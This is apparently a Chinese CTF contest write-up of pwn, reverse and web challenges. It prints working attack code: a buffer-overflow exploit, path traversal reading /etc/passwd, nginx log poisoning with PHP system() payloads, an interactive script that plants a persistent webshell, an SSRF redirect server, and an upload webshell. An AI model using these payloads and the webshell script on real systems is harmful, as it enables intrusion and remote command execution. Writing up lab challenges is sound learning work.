1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 (venv) root@iZbp1d5rltw6uhsn58zuoaZ:~/pwn Reading symbols from ./184750_danger_gets... (No debugging symbols found in ./184750_danger_gets) (gdb) b *0x4011f7 Breakpoint 1 at 0x4011f7 (gdb) run Starting program: /root/pwn/184750_danger_gets [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1" . you know ret addr do you know rop?do you know gets?plz input your name: Breakpoint 1, 0x00000000004011f7 in vulnerable_function () (gdb) info registers rbp rbp 0x7fffffffe220 0x7fffffffe220 (gdb) p/x $rbp -0x40 $1 = 0x7fffffffe1e0
1 2 3 BUF_ADDR = $rbp - 0x40 SAVED_RIP_ADDR = $rbp + 8 offset = SAVED_RIP_ADDR - BUF_ADDR = ($rbp + 8) - ($rbp - 0x40) = 0x48 = 72
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *BINARY = './184750_danger_gets' elf = ELF(BINARY) offset = 72 backdoor = 0x4011b6 p = process(BINARY) payload = b'A' *offset payload += p64(backdoor) p.sendline(payload) p.interactive()
服了,为啥呀,本地可以过,remote就EOF。。。
reverse [Week1] jvav 觉得Main很史可以直接去看加密
jadx打开,MainActivityKt确实史,直接看EncKt,wait,你package com.utilis.enc;这么写它规范嘛??
不管了,jadx反编译的还是很适合肉眼观察的。流程如下:
1 2 3 4 checker(input) -> encoder(input) -> confuser(...) -> rounder(...)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import base64import binasciibArr_signed = [-89 , 96 , 102 , 118 , -89 , -122 , 103 , -103 , -125 , -95 , 114 , 117 , -116 , -102 , 114 , -115 , -125 , 108 , 110 , 118 , -91 , -83 , 101 , -115 , -116 , -114 , 124 , 114 , -123 , -87 , -87 , -114 , 121 , 108 , 124 , -114 ] bArr = [x & 0xff for x in bArr_signed] n = len (bArr) rounder_inv = [bArr[(i + 5 ) % n] for i in range (n)] confuser_inv = [] for y in rounder_inv: u = (~y) & 0xff t = u ^ 11 a = (t - 32 ) & 0xff confuser_inv.append(a) encoded_bytes = bytes (confuser_inv) try : flag = encoded_bytes.decode('utf-8' ) except UnicodeDecodeError: flag = None print ("Warning: decoded bytes are not valid UTF-8. raw bytes:" , encoded_bytes) print ("Recovered flag:" , flag)
1 2 3 4 5 输出 Recovered flag: RsMW5faXNfYWxzb19qYXZhfQ==ZmxhZ3trb3 但实际上应该是:ZmxhZ3trb3RsMW5faXNfYWxzb19qYXZhfQ== 解码后为:flag{kotl1n_is_also_java} 蒜鸟蒜鸟,就这样吧
Web [Week1] Gitttttttt 提示.git,那么尝试把.git下载下来
1 git-dumper http://challenge.ilovectf.cn:30024/.git/ .
结果如下
1 2 3 ➜ repo ls -a .git . config HEAD index objects .. description hooks info
看结构,是完整的git,但我重组失败啊%%
1 2 ➜ repo cat .git/HEAD ref: refs/heads/master
好的,是master 观察git-dumper日志:
1 [-] Fetching http://challenge.ilovectf.cn:30024/.git/objects/3f/0aa7170cdb17191ec7cb6e6fe976d8d126e50b [200] [-] Fetching http://challenge.ilovectf.cn:30024/.git/objects/70/7d88d95558346d96797ab00a24daa0053078fc [200]
那么重点关注这两个hash tag
1 2 3 4 5 ➜ repo git --git-dir=.git cat-file -t 3f0aa7170cdb17191ec7cb6e6fe976d8d126e50b git --git-dir=.git cat-file -t 707d88d95558346d96797ab00a24daa0053078fc 致命错误:不是 git 仓库:'.git' 致命错误:不是 git 仓库:'.git'
受不了了哥们,别搞。 git是废了,直接读数据吧
1 2 3 4 5 6 7 8 9 10 import zlib, sys, pathlibfor sha in [ "3f0aa7170cdb17191ec7cb6e6fe976d8d126e50b" , "707d88d95558346d96797ab00a24daa0053078fc" ]: path = pathlib.Path(".git/objects" ) / sha[:2 ] / sha[2 :] data = zlib.decompress(path.read_bytes()) print (f"\n===== {sha} =====" ) print (data.decode("utf-8" , errors="replace" ))
结果如下
1 2 3 (省略前一个,真的只是普通commit) ===== 707d88d95558346d96797ab00a24daa0053078fc ===== blob 39flag{#h_I_NE2V0R_13v3o_71E_6Bi7_4BGAzN}
[Week1] Ping?? 这个简单,拼接命令
过滤了flag.txt 字符串,用*就能绕过
1 flag{2926a603-a382-4477-a70a-c3195eaafcbc}
[Week1] from_http 这类题目真的烦人😡搞个断点先 先改UA,再Get,再Post,再再再。。。不写了,烦死我了,反正七八轮后能拿flag。
[Week1] secret of php 嗯,东西下载下来了,还Dockerfile,真是贴心呢~
1 2 ➜ secret of php ls Dockerfile flag.php Flll4g.php index.php
需要进入yes yes的情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );include ("flag.php" );$a = $_GET ['a' ];if (isset ($a )){ if ($a === "2025" ) { die ("no" ); } else { echo "<br>" ."yes" ."<br>" ; } if (intval ($a ,0 ) === 2025 ) { echo "yes yes" ."<br>" ; echo "Congratulations! You have passed the first level, the next level is " .$path ."<br>" ; } else { die ("no no" ); } } else { echo "a is not set" ."<br>" ; }
isset($a) 为真(传个参数a) 严格比较 ($a === “2025”) 必须为假 intval($a, 0) === 2025 必须为真(把a转成整数后等于 2025)。 intval($a,0) 会从字符串开头解析出整数部分(第二个参数 0 允许根据前缀自动判断进制),所以只要a的开头数字部分是 2025,但整个字符串不是精确等于”2025”,就能满足三个条件。
1 http://challenge.ilovectf.cn:30070/?a=2025abc
得到
1 2 3 yes yes yes Congratulations! You have passed the first level, the next level is /Flll4g.php
布什戈么,那你干脆别放那个网盘得了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php highlight_file (__FILE__ );include ('flag.php' );$a = $_POST ['a' ];$b = $_POST ['b' ];if (isset ($a ) && isset ($b )){ if ($a !== $b && md5 ($a ) == md5 ($b )){ echo "<br>yes<br>" ; } else { die ("no" ); } $a = $_REQUEST ['aa' ]; $b = $_REQUEST ['bb' ]; if ($a !== $b && md5 ((string )$a ) === md5 ((string )$b )){ echo "yes yes<br>" ; } else { die ("no no" ); } $a = $_REQUEST ['aaa' ]; $b = $_REQUEST ['bbb' ]; if ((string )$a !== (string )$b && md5 ((string )$a ) === md5 ((string )$b )){ echo "yes yes yes<br>" ; echo "Congratulations! You have passed the second level, the flag is " .$flag ."<br>" ; } else { die ("no no no" ); } } else { echo "a or b is not set<br>" ; }
有aa有bb,乍眼一看要md5对撞了,上网搜一对
1 2 3 4 5 curl -v -X POST 'http://challenge.ilovectf.cn:30070/Flll4g.php' \ -F 'a[]=1' -F 'b[]=2' \ -F 'aa[]=1' -F 'bb[]=2' \ -F 'aaa=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak' \ -F 'bbb=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak'
来自GPT的解析:
第一层 :a、b 作为不同的数组(a[]=1、b[]=2),使得 $a !== $b 为真,而 md5($a) 与 md5($b) 都返回 NULL(相等)。
第二层 :aa、bb 也作为数组,(string)$array 都变成 “Array”,所以 md5((string)$a) === md5((string)$b) 为真(严格等)。
第三层 :aaa、bbb 使用两段不同但 MD5 相同的字符串(示例来自上面的链接),满足 (string)$a !== (string)$b 且 md5((string)$a) === md5((string)$b)。
[Week1] 前端小游戏 照理说,这题该写console脚本,直接改数据。 但一想这纯静态网页,哪里藏得住东西呀,看了一眼js,哦吼?
1 2 3 4 5 6 7 8 9 10 11 12 if (score >= 30 ) { endTitle.textContent = '任务完成?' ; endMessage.textContent = '骗你的,30分也不给你flag!' ; } else if (score < 0 ) { endTitle.textContent = '异常结果' ; endMessage.textContent = '检测到异常分数,获取到以下数据:' ; Element .textContent = atob ('ZmxhZ3s0ZjFjNTRmZS02ZmNlLTQxNTAtYWM0Mi02MTFmNzk4MjA0Njd9' ); Container .classList .remove ('hidden' ); } else { endTitle.textContent = '挑战失败' ; endMessage.textContent = `你只捕获了 ${score} 个黑客,至少需要30个!` ; }
ZmxhZ3s0ZjFjNTRmZS02ZmNlLTQxNTAtYWM0Mi02MTFmNzk4MjA0Njd9 deBase64 -> flag{4f1c54fe-6fce-4150-ac42-611f79820467}
(review:我真的手点到了30个,他喵的)
[Week1] 包含不明东西的食物?! 将物品投入锅里即可收获神秘礼品😋 这题其实不难,但我想复杂了。算上我php基础并不扎实,做这题时有点难受。
Ok请输入食材名(如food1.webp),那肯定先输入food1.webp试试看。发现报错如下:
1 2 3 4 5 6 7 8 食材路径:/var/www/html/backpack/food1.webp Warning: Unexpected character in input: '' (ASCII=26) state=0 in /var/www/html/backpack/food1.webp on line 618 Warning: Unexpected character in input: '' (ASCII=28) state=0 in /var/www/html/backpack/food1.webp on line 618 Parse error: in /var/www/html/backpack/food1.webp on line 618
布什戈么,这是吧webp当php了啊?当时甚至试过了php://filter,不过这题单纯是字符串拼接。
尝试绝对路径,提示/var/www/html/backpack//var/www/html/backpack/food1.webp 食材不存在,真的就是拼接术。无奈,翻html,发现hint:
1 2 <!--flag在flag.txt中--> <!--大厨会include你输入的内容哦~-->
这时候我开始瞎试了,../flag.txt../../flag.txt../../../flag.txt../../../../flag.txt 我超!
恭喜!你领悟了魔物饭的美味之处,这是你的奖励 flag{4b88e9f5-756f-4b2d-9081-0f1f4e0124ca}
复盘: 尝试了../../../../var/www/html/backpack/php://filter/read=convert.base64-encode/resource=food1.webp和../../../../php://filter/read=convert.base64-encode/resource=/var/www/html/backpack/food1.webp,都不行啊。
有意思,使用payload../../../../etc/passwd真的有权限读取诶:
1 root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/bin/sh man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin postgres:x:70:70::/var/lib/postgresql:/bin/sh cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin www-data:x:1000:1000:Linux User,,,:/home/www-data:/bin/false nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin
坏了,突然想玩RCE 了 :~D 只能读的话,应该可以Log Poisoning 吧
../../../../etc/nginx/nginx.conf 返回值重点关注access_log /var/log/nginx/access.log main;构造payload../../../../var/log/nginx/access.log
../../../../etc/issue返回Welcome to Alpine Linux 3.8 Kernel \r on an \m (\l)
../../../../etc/hosts返回# Kubernetes-managed hosts file. 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet fe00::0 ip6-mcastprefix fe00::1 ip6-allnodes fe00::2 ip6-allrouters 10.233.66.35 cl-55-c98351f013ba2a8a原来是k8s呀。
第一次尝试:
1 2 3 curl -i -s -k -X 'GET' \ -H 'User-Agent: <?php system($_GET["cmd"]); ?>' \ 'http://challenge.ilovectf.cn:30076/index.html
看日志发现Fatal error: Undefined constant 'x22cmd\x22' in /var/log/nginx/access.log on line 61 然后好像什么玩意崩了,再次使用../../../../var/log/nginx/access.logpayload直接返回了数据,没有html、css了,诶,我重启一下。
第二次尝试:
1 2 3 curl -i -s -k -X 'GET' \ -H 'User-Agent: <?php eval(base64_decode("c3lzdGVtKCRfR0VUW2NtZF0pOw==")); ?>' \ 'http://challenge.ilovectf.cn:30081/index.html'
又崩了Fatal error: Undefined constant 'x22c3lzdGVtKCRfR0VUW2NtZF0pOw' in /var/log/nginx/access.log on line 13
第三次尝试:
1 2 3 curl -i -s -k -X 'GET' \ -H 'User-Agent: <?php //system($_GET[cmd]);exit;?>' \ 'http://challenge.ilovectf.cn:30082/index.html'
这次不报错了,但也没什么反应
第四次尝试:
1 2 3 curl -i -s -k -X 'GET' \ -H 'User-Agent: *)/<?php eval(base64_decode(c3lzdGVtKCRfR0VUW2NtZF0pOw)); exit; ?>/*' \ 'http://challenge.ilovectf.cn:30084/index.html'
1 2 3 curl -i -s -k -X 'POST' \ -d 'filename=../../../../var/log/nginx/access.log' \ 'http://challenge.ilovectf.cn:30084/include.php?cmd=cat%20/flag.txt'
卧槽!
拿到php了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 <?php error_reporting (E_ALL);ini_set ('display_errors' , 1 );$uploadDir = __DIR__ . '/backpack' ;if (!is_dir ($uploadDir )) { mkdir ($uploadDir , 0777 , true ); } $resultMsg = '' ;$includeOutput = '' ;if ($_SERVER ['REQUEST_METHOD' ] === 'POST' && isset ($_POST ['filename' ])) { $filename = trim ($_POST ['filename' ]); $targetPath = $uploadDir . '/' .$filename ; if (file_exists ($targetPath ) && is_file ($targetPath )) { $ext = strtolower (pathinfo ($targetPath , PATHINFO_EXTENSION)); echo "<p>食材路径:<strong>" . htmlspecialchars ($targetPath ) . "</strong></p>" ; echo "<hr>" ; if ($ext === 'jpg' ) echo "<img src='backpack/" . rawurlencode ($filename ) . "' alt='图片' style='max-width:100%;'>" ; else { ob_start (); include $targetPath ; $includeOutput = ob_get_clean ();} } else { $resultMsg = "<p>" . htmlspecialchars ($targetPath ) . " 食材不存在</p>" ; } } else { $resultMsg = "<p>请通过表单提交食材路径</p>" ; } ?> <!DOCTYPE html> <html lang="zh-CN" > <head> <meta charset="UTF-8" /> <title>烹饪结果 - 迷宫食堂</title> <style> html, body { height: 100 %; margin: 0 ; } body { background: url ('./backgroud.webp' ) no-repeat center center fixed; background-size: cover; font-family: Arial, sans-serif; color: white; display: flex; justify-content: center; align-items: center; padding: 20 px; flex-direction: column; text-align: center; } .result-box { background: rgba (0 ,0 ,0 ,0.5 ); padding: 20 px; border-radius: 10 px; max-width: 800 px; width: 90 %; max-height: 80 vh; overflow-y: auto; word-break : break -word; text-align: left; } a { color: } </style> </head> <body> <div class ="result -box "> <p ><a href ="index .html ">返回投入食材页面</a ></p > <?php echo $resultMsg ; echo $includeOutput ; ?> </div > </body > </html >
1 2 3 curl -i -s -k -X 'POST' \ -d 'filename=../../../../var/log/nginx/access.log' \ 'http://challenge.ilovectf.cn:30082/include.php?cmd=base64%20/var/www/html/backpack/food1.webp' > aaa.txt
好的终于拿到food1.webp了🤣就是麻烦了点。。。
rce_shell.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 import requestsimport sysimport reimport urllib.parserequests.packages.urllib3.disable_warnings() POISON_PAYLOAD = '*)/<?php eval(base64_decode("c3lzdGVtKCRfR0VUW2NtZF0pOw==")); exit; ?>/*' LOG_PATH = '../../../../var/log/nginx/access.log' INCLUDE_SCRIPT = '/include.php' POISON_PATH = '/index.html' WEBSHELL_INJECTION_CMD = f"echo '<?php system($_GET[\"c\"]); ?>' > /var/www/html/backpack/shell.php" def poison_log (base_url ): """发送 GET 请求,将恶意代码注入到 Nginx 日志中""" poison_url = base_url + POISON_PATH headers = {'User-Agent' : POISON_PAYLOAD} try : print (f"[+] 正在向 {poison_url} 注入恶意 User-Agent..." ) requests.get(poison_url, headers=headers, verify=False , timeout=5 ) print ("[+] 注入成功。开始尝试 RCE..." ) except requests.exceptions.RequestException as e: print (f"[-] 投毒请求失败: {e} " ) sys.exit(1 ) def log_rce_execute (base_url, command ): """使用日志投毒链执行命令 (第一次使用)""" rce_url = base_url + INCLUDE_SCRIPT data = {'filename' : LOG_PATH} params = {'cmd' : command} try : response = requests.post(rce_url, data=data, params=params, verify=False , timeout=10 ) content = response.text notice_end_marker_re = re.compile (r"<b>Notice</b>.*on line <b>\d+</b><br />" , re.DOTALL) match = notice_end_marker_re.search(content) if match : output_start = match .end() rce_output = content[output_start:] rce_output = re.sub(r'^(<br\s*/>|<br>|\s)*' , '' , rce_output) rce_output = re.sub(r'</?\s*\w+\s*>' , '' , rce_output).strip() return rce_output else : rce_output = re.sub(r'<[^>]*>' , '' , content) rce_output = re.sub(r'.*Use of undefined constant.*' , '' , rce_output, flags=re.DOTALL) rce_output = rce_output.strip() return rce_output except requests.exceptions.RequestException as e: return f"[-] RCE 执行失败: {e} " def webshell_execute (base_url, command ): """使用植入的Web Shell执行命令 (持久化模式)""" shell_url = f"{base_url} /backpack/shell.php" params = {'c' : command} try : response = requests.get(shell_url, params=params, verify=False , timeout=10 ) return response.text.strip() except requests.exceptions.RequestException as e: return f"[-] Web Shell 连接失败或命令执行失败: {e} " def main (): if len (sys.argv) != 2 : print ("用法: python rce_shell.py <域名或IP>:<端口>" ) sys.exit(1 ) target_host = sys.argv[1 ] base_url = f"http://{target_host} " print ("\n请选择 RCE 模式:" ) print ("1. Log Poisoning Shell (每次执行命令都包含日志文件)" ) print (f"2. Web Shell 模式 (投毒一次,植入 shell.php 后,通过它持久访问) - 推荐" ) choice = input ("输入模式编号 (默认为 2): " ) use_webshell = choice not in ['1' , 'log' , 'poison' ] poison_log(base_url) if use_webshell: print (f"[+] 正在植入 Web Shell: shell.php..." ) encoded_injection_cmd = urllib.parse.quote(WEBSHELL_INJECTION_CMD) injection_result = log_rce_execute(base_url, encoded_injection_cmd) if injection_result.strip(): print (f"[-] Web Shell 植入失败。RCE输出: {injection_result} . 切换回 Log Poisoning 模式。" ) use_webshell = False else : print (f"[+] Web Shell 植入成功! 访问点: {base_url} /backpack/shell.php" ) print ("\n" + ("=" *50 )) print ("[+] 交互式 Shell 启动。输入 'exit' 或 'quit' 退出。" ) print ("[!] 如果方向键出现 '^[[A' 等乱码,请在退出后执行 'stty sane' 修复终端。" ) print (("=" *50 ) + "\n" ) executor = webshell_execute if use_webshell else log_rce_execute print (f"[+] 尝试执行 'whoami'..." ) initial_output = executor(base_url, 'whoami' ) print (initial_output) if "404 Not Found" in initial_output or "Parse error" in initial_output or not initial_output: print ("[-] RCE 验证失败。请检查路径或权限。" ) return while True : try : cmd = input ("$ " ) if cmd.lower() in ['exit' , 'quit' ]: break if not cmd: continue output = executor(base_url, cmd) print (output) except KeyboardInterrupt: print ("\n[+] 退出 Shell。" ) if use_webshell: print ("[!] 记得执行 'stty sane' 修复终端输入。" ) break except Exception as e: print (f"[-] 发生未知错误: {e} " ) break if __name__ == "__main__" : main()
[Week2] Look at the picture 你想看什么图片都行,但只能是http协议哦~ 不要偷偷用其它的
challenge.ilovectf.cn:30333/?url=https%3A%2F%2Fpicsum.photos%2F500%2F500%3Frandom%3D2
显然是要修改url参数的请求头,尝试读取文件challenge.ilovectf.cn:30333/?url=file://flag.txt 返回I see you.....,看来file头被过滤了。
尝试http://challenge.ilovectf.cn:30333/?url=http://127.0.0.1返回html
确实只允许http/https协议头。
1 2 3 4 5 6 7 8 9 10 from flask import Flask, redirectapp = Flask(__name__) @app.route('/bypass' ) def bypass (): return redirect("file:///flag.txt" , code=302 ) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8090 )
借Timmy的国内vps跑一段bypass(我的US搬瓦工不行,有IP段屏蔽)
39开头的是我本地,43开头是测试机,可以看到确实发生了302,不过,这这这,,,404??这是跨域了吗?怎么读vps去了?
http://challenge.ilovectf.cn:30404/?url=https://ipw.cn/gongan.png看响应发现是base64,前台解码为图片
冷静思考,dirsearch先来一下,发现/www.zip 解压拿到index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 <?php $randomImages = [ 'https://picsum.photos/500/500?random=1' , 'https://picsum.photos/500/500?random=2' , 'https://picsum.photos/500/500?random=3' , 'https://picsum.photos/500/500?random=4' , 'https://picsum.photos/500/500?random=5' , 'https://picsum.photos/500/500?random=6' , 'https://picsum.photos/500/500?random=7' , 'https://picsum.photos/500/500?random=8' , 'https://picsum.photos/500/500?random=9' , 'https://picsum.photos/500/500?random=10' ]; $imageUrl = isset ($_GET ['url' ]) ? $_GET ['url' ] : '' ;$blacklist_keywords = [ 'file://' , 'file%3A//' , 'phar://' , 'phar%3A//' , 'zip://' , 'zip%3A//' , 'data:' , 'data%3A' , 'glob://' , 'glob%3A//' , 'expect://' , 'expect%3A//' , 'ftp://' , 'ftps://' , 'passwd' , 'shadow' , 'etc/' , 'root' , 'bin' , 'bash' , 'base64' , 'string.' , 'rot13' , 'eval' , 'system' , 'exec' , 'shell_exec' , 'popen' ]; foreach ($blacklist_keywords as $keyword ) { if (stripos ($imageUrl , $keyword ) !== false ) { die ("I see you....." ); } } if (empty ($imageUrl )) { $randomImage = $randomImages [array_rand ($randomImages )]; header ("Location: ?url=" . urlencode ($randomImage )); exit (); } $base64Image = '' ;$imageInfo = null ;$error = '' ;if (!empty ($imageUrl )) { if (filter_var ($imageUrl , FILTER_VALIDATE_URL)) { $imageContent = @file_get_contents ($imageUrl ); if ($imageContent !== false ) { $imageInfo = @getimagesizefromstring ($imageContent ); if ($imageInfo ) { $mimeType = $imageInfo ['mime' ]; $base64Image = base64_encode ($imageContent ); } else { $error = '无法识别的图片格式 你的图片:' .$imageUrl .":" .$imageContent ; } } else { $error = '无法获取图片内容,请检查URL是否正确 ' .$imageUrl .":" .$imageContent ; } } else { $error = '无效的URL格式' ; } } ?> <!DOCTYPE html> <html lang="zh-CN" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>图片展示</title> <style> * { margin: 0 ; padding: 0 ; box-sizing: border-box; } body { font-family: 'Arial' , sans-serif; background: linear-gradient (135 deg, #667 eea 0 %, #764 ba2 100 %); min-height: 100 vh; display: flex; justify-content: center; align-items: center; padding: 20 px; } .container { background: rgba (255 , 255 , 255 , 0.95 ); border-radius: 20 px; box-shadow: 0 20 px 40 px rgba (0 , 0 , 0 , 0.1 ); padding: 40 px; text-align: center; max-width: 600 px; width: 100 %; backdrop-filter: blur (10 px); } .header { margin-bottom: 30 px; } .header h1 { color: font-size: 2.5 em; margin-bottom: 10 px; background: linear-gradient (45 deg, #667 eea, #764 ba2); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; } .header p { color: font-size: 1.1 em; } .image-container { position: relative; margin: 30 px 0 ; } .avatar-frame { width: 250 px; height: 250 px; margin: 0 auto; border-radius: 50 %; overflow: hidden; box-shadow: 0 15 px 35 px rgba (0 , 0 , 0 , 0.2 ); border: 5 px solid transition: transform 0.3 s ease; } .avatar-frame:hover { transform: scale (1.05 ); } .avatar-image { width: 100 %; height: 100 %; object -fit: cover; } .info-box { background: linear-gradient (45 deg, #667 eea, #764 ba2); color: white; padding: 20 px; border-radius: 15 px; margin-top: 30 px; } .info-box h3 { margin-bottom: 15 px; font-size: 1.3 em; } .info-content { text-align: left; line-height: 1.6 ; } .error-message { background: color: white; padding: 20 px; border-radius: 10 px; margin: 20 px 0 ; font-size: 1.1 em; } .footer { margin-top: 30 px; color: font-size: 0.9 em; } .controls { margin: 20 px 0 ; } .btn { background: linear-gradient (45 deg, #667 eea, #764 ba2); color: white; border: none; padding: 12 px 25 px; border-radius: 50 px; font-size: 1 em; cursor: pointer; transition: all 0.3 s ease; box-shadow: 0 5 px 15 px rgba (0 , 0 , 0 , 0.1 ); } .btn:hover { transform: translateY (-3 px); box-shadow: 0 8 px 20 px rgba (0 , 0 , 0 , 0.2 ); } .btn:active { transform: translateY (1 px); } .loading { display: none; font-size: 1.2 em; color: margin: 20 px 0 ; } @media (max-width : 768 px) { .container { padding: 20 px; } .header h1 { font-size: 2 em; } .avatar-frame { width: 200 px; height: 200 px; } } </style> </head> <body> <div class ="container "> <div class ="header "> <h1 >图片展示</h1 > </div > <div class ="controls "> <button id ="refreshBtn " class ="btn ">获取新图片</button > </div > <?php if (!empty ($error )): ?> <div class ="error -message "> 错误:<?php echo htmlspecialchars ($error ); ?> </div > <?php elseif (!empty ($base64Image )): ?> <div class ="image -container "> <div class ="avatar -frame "> <img src ="data :<?php echo $mimeType ; ?>;base64 ,<?php echo $base64Image ; ?>" alt ="显示图片" class ="avatar -image "> </div > </div > <div class ="info -box "> <h3 >图片信息</h3 > <div class ="info -content "> <p ><strong >图片尺寸:</strong ><?php echo $imageInfo [0]; ?> × <?php echo $imageInfo [1]; ?> 像素</p > <p ><strong >图片类型:</strong ><?php echo $mimeType ; ?></p > <p ><strong >文件大小:</strong ><?php echo round (strlen (base64_decode ($base64Image )) / 1024, 2); ?> KB </p > <p ><strong >来源URL :</strong ><?php echo htmlspecialchars ($imageUrl ); ?></p > </div > </div > <?php endif ; ?> </div > <script > // 随机图片URL 数组 const randomImages = [ 'https ://picsum .photos /500/500?random =1', 'https ://picsum .photos /500/500?random =2', 'https ://picsum .photos /500/500?random =3', 'https ://picsum .photos /500/500?random =4', 'https ://picsum .photos /500/500?random =5', 'https ://picsum .photos /500/500?random =6', 'https ://picsum .photos /500/500?random =7', 'https ://picsum .photos /500/500?random =8', 'https ://picsum .photos /500/500?random =9', 'https ://picsum .photos /500/500?random =10' ]; // 获取刷新按钮 const refreshBtn = document .getElementById ('refreshBtn '); // 点击刷新按钮获取新图片 refreshBtn .addEventListener ('click ', function () { const randomImage = randomImages[Math.floor (Math.random () * randomImages.length)]; window.location.href = '?url=' + encodeURIComponent (randomImage); }); </script> </body> </html>
有www.zip,大概率是利用zip实现目录穿越
我超!想复杂了,连php://都没限制
1 http://challenge.ilovectf.cn:30101/?url=php://filter/resource=../../../../flag
1 错误:无法识别的图片格式 你的图片:php://filter/resource=../../../../flag:flag{You_937_7HE_FIltEr}
好啊!
[Week2] Only Picture Up 咦?上传一个图片就能得到flag?
提示很明显了,准备图片马
1 2 ➜ web cat wow.jpg <?php system($_GET ['cmd' ]); ?>
http://challenge.ilovectf.cn:30445/?preview=wow.jpg&cmd=cat%20/FL4g94
flag{08416cde-c31b-4934-8404-dab0b39501a7}
[Week2] Regular Expression 正则表达式是一个好工具!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );error_reporting (0 );include ('flag.php' );if (isset ($_GET ["?" ])){ $_ ? = $_GET ['?' ]; if (preg_match ('/^-(ctf|CTF)<\n>{5}[h-l]\d\d\W+@email\.com flag.\b$/' , $_ ?) && strlen ($_ ?) == 40 ) { echo 'Good job! Now I need you to write a regular expression for my string.</br>' ; if (isset ($_POST ['preg' ])){ $preg = str_replace ("|" ,"" ,$_POST ['preg' ]); $test_string = 'Please\ 777give+. !me?<=-=>(.*)Flaggg0' ; if (preg_match ('/' .$preg .'/' , $test_string ) && strlen ($_POST ['preg' ]) > 77 ){ echo "Congratulations! Here is your flag: " .$flag ; }else { echo "Almost succeeded!" ; } } }else { echo "Think twice, and go to study!!!" ; } }else { echo "Welcome to ?ctf" ; } Welcome to ?ctf
这啥呀,
1 /^-(ctf|CTF)<\n>{5}[h-l]\d\d\W+@email\.com flag.\b$/
payload为
1 2 -ctf< >>>>>h00!!@email.com flagA
